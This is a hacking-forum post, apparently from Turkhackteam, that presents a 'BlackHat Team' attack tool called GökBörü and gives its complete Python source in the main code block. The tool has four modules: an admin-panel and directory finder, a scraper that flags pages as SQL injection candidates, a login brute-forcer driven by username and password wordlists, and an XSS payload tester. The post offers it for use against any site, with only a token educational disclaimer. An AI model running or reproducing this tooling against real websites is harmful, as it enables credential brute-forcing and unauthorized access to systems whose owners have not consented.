#BlackHatTeam | GökBörü Tool v1.0 ( İnternational )

rluclsu.jpg


Admin Panel Finder

With the admin panel finder included in the program, you can scan the admin panel on the site you will perform penetration testing or scan directories in the wordlist you provided and bring the results to you.

1940ahv.jpg

SQL Injection Finder

It provides websites within the given site that may have SQL injection vulnerabilities.



q1grlww.jpg


Login BruteForce

Enter the URL address of the site's login page and, after providing the necessary parameters, it performs a brute force attack with the username and password wordlists you selected.
8uc2jqm.jpg

XSS

It applies XSS payloads to the query part of the given URL and returns if successful.

tejhptf.jpg


Portswigger Lab Trial

Experiment I conducted in an XSS lab on Portswigger.


gvegtlm.jpg


Thank you:


-Black Hat Team-

This tool will continue to be developed by me.
Source Codes:


Kod:
from colorama import Fore, init
import requests
import time
from bs4 import BeautifulSoup
from urllib.parse import urlencode
import re
from art import *

init(autoreset=True)
def xss(url, xssPayloadFile):
    try:
        with open(xssPayloadFile, 'r', encoding="utf-8") as file:
            payloads = file.readlines()
    except FileNotFoundError:
        print("Payload dosyası bulunamadı.")
        return

    try:
        for payload in payloads:
            payload = payload.strip()
            url_with_payload = url + payload
            response = requests.get(url_with_payload)
            response.raise_for_status()
            soup = BeautifulSoup(response.content, 'html.parser')
            if payload in soup.get_text():
                print(Fore.GREEN +"[+] Payload tespit edildi:", payload)
            else:
                print(Fore.RED +"[-] Payload tespit edilemedi:", payload)
    except requests.exceptions.RequestException as e:
        print(Fore.RED +"[!]Hata:", e)
    input("çıkış yapmak için 'q' tuşuna basınız")

def bruteForce(url, error_message,username_file, password_file, param1, param2):
    try:
        with open(username_file, 'r') as user_file:
            usernames = user_file.readlines()
        with open(password_file, 'r') as pass_file:
            passwords = pass_file.readlines()
    except FileNotFoundError:
        print("Dosya bulunamadı.")
        return
    
    for username in usernames:
        username = username.strip()
        for password in passwords:
            password = password.strip()
            data = {param1: username, param2: password}
            response = requests.post(url, data=data)
            soup = BeautifulSoup(response.content, 'html.parser')
            error_tag = soup.find(string=re.compile(error_message))
            if not error_tag:
                print(Fore.GREEN + f"'{username,password}' parametresi için başarılı istek yapıldı.")
            else:
                print(Fore.RED + f"'{username,password}' parametresi için istek başarısız oldu.")
    input("Çıkmak için bir tuşa basınız...")


def sqlBul(url):
    response = requests.get(url)
    html_content = response.text
    soup = BeautifulSoup(html_content, 'html.parser')
    php_urls = re.findall(r'href=[\'"]?([^\'" >]+)', html_content)
    php_urls = [link for link in php_urls if ".php?" in link]
    for php_url in php_urls:
        print(Fore.GREEN+"[+] Bulunan Siteler" ,"=>", php_url)
    input("Çıkmak için bir tuşa basınız...")

def dizini_bul(url, hedef_dizinler, set_sleep):
    
    bulunan_dizinler = set()
    try:
        for dizin in hedef_dizinler:
            hedef = url + "/" + dizin
            response = requests.get(hedef)
            time.sleep(float(set_sleep))
            if response.status_code == 200 and hedef not in bulunan_dizinler:
                print(Fore.GREEN + "[+] Dizin bulundu =", hedef)
                bulunan_dizinler.add(hedef)
            elif response.status_code == 404 and hedef not in bulunan_dizinler:
                print(Fore.RED + "[!] 404 Hatası =", hedef)
                
            elif response.status_code == 302 and hedef not in bulunan_dizinler:
                print(Fore.BLUE + "[!] 302 Object moved temporarily =", hedef)
                
            elif response.status_code == 401 and hedef not in bulunan_dizinler:
                print(Fore.YELLOW + "[!] 401 Unauthorized =", hedef)
                
    except requests.exceptions as e:
        print("[!] Hata:", e)

    print("\nBulunan Dizinler Özeti:")
    for dizin in bulunan_dizinler:
        print("-", dizin)
    print("Toplam", len(bulunan_dizinler), "dizin bulundu.")
    input("Çıkmak için bir tuşa basınız...")

def konsol():
    print("""
    Seçenekler:
          1- Admin Panel Finder
          2- Possible SQL Injection Finder
          3- BruteForce
          4- XSS
""")
    print("Seçeneklerden istediğinizi numarasını girerek seçiniz.")
    choice = input("Seçim: ")
    if choice == "1":
            tprint("admin finder", font="chunky")
            url = input(Fore.CYAN + "Lütfen taramak istediğiniz web sitesinin URL'sini girin: ")
            dosya_yolu = input(Fore.CYAN +"Lütfen dizinleri içeren metin dosyasının yolunu girin: ")
            set_sleep = input(Fore.CYAN +"Her istek arasında ne kadar beklemek istediğinizi belirtin: ")
            try:
                with open(dosya_yolu, 'r') as dosya:
                    hedef_dizinler = dosya.read().splitlines()
                    dizini_bul(url, hedef_dizinler, set_sleep)
            except FileNotFoundError:
                print(Fore.RED +"Belirtilen dosya bulunamadı.")
    elif choice == "2":
                tprint("Possible SQL \nInjection Finder", font="small" )
                url = input(Fore.BLUE + "Lütfen taramak istediğiniz web sitesinin URL'sini girin: ")
                sqlBul(url)
    elif choice == "3":
                tprint("BruteForce", font="speed" )
                url = input("Lütfen URL'yi girin: ")
                error_message = input("Lütfen hata mesajını girin (hata mesajı yoksa boş bırakın):")
                param1 = input("Birinci parametreyi girin (ör. username): ")
                param2 = input("İkinci parametreyi girin (ör. password): ")
                username_file = input("Kullanıcı adlarının bulunduğu dosyanın adını girin: ")
                password_file = input("Şifrelerin bulunduğu dosyanın adını girin: ")
                bruteForce(url, error_message,username_file, password_file, param1, param2)
    elif choice == "4":
                tprint("XSS", font="chiseled")
                url = input(Fore.YELLOW + "XSS payloadı denemek istediğiniz url adresini girin: ")
                xssPayloadFile = input( Fore.YELLOW +"XSS Payloadlarınızın bulunduğu txt dosyasının yolu: ")
                xss(url, xssPayloadFile)
                
 
def main():
    
    tprint("gokboru", font="merlin1")
    tprint("BlackHat", font="cybermedium")
    print("meakay")
    print("Bu aracın kullanımı eğitim amaçlıdır. Verilen zararlardan kişi kendisi sorumludur.")
    sorumluluk = input("Yaptığım faaliyetlerden sorumlu olduğumu ve bu aracı yazan kişinin hiçbir sorumluluğu olmadığını kabul ediyorum. (E/H)")
    if sorumluluk.lower() == "e":
        konsol()
    else:
        print("Programdan çıkış yapılıyor...")

                
    
if __name__ == "__main__":
    main()

 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.